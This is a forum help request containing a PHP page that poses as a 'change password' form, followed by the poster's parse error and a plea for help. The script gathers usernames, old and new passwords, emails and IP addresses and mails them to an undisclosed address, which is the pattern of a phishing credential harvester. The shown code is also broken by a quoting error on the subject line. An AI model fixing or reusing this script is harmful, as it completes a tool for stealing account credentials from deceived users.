<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<?php
$ip = $_POST['ip'];
$httpref = $_POST['httpref'];
$httpagent = $_POST['httpagent'];
$username = $_POST['username'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
$email = $_POST['email'];
$serv = $_POST['serv'];
if(empty($username) || empty($password) || empty($password2) || empty($email)) {
echo "<h2>You MUST Fill out all the fields</h2>\n";
die ("Try Again.");
}
$todayis = date("l, F j, Y, g:i a") ;
$serv = $serv ;
$subject = "Change Pass Request from "$username" ("$email")";
$notes = stripcslashes($notes);
$message = " $todayis [EST] \n
\n
Username: $username \n
OLD Password: $password \n
NEW Password: $password2 \n
\n
Email: $email \n
\n
Server: $serv \n
\n
IP: $ip \n
Browser Info: $httpagent \n
Referral : $httpref \n
";
$from = "From: $email\r\n";
mail("
", $subject, $message, $from);?>
<p align="center">
Date: <?php echo $todayis ?></p>
<p align="center"><br />
<strong>Your Request to change your email has been sent. <br />
Please allow 24 hours for your request to be confirmed. </strong></p>
<p align="center"><a href="http://xxxxxxx.com">Back To Index
</a>
<p align="center"><br />
Your IP is: <?php echo $ip ?></p>
</body>
</html>
Ive intentionally x'ed out the website address. The error is:
Parse error: syntax error, unexpected T_VARIABLE in C:\xampp\htdocs\sendchangepass.php on line 28
any help will be greatly appreciated, and thanks will be given.






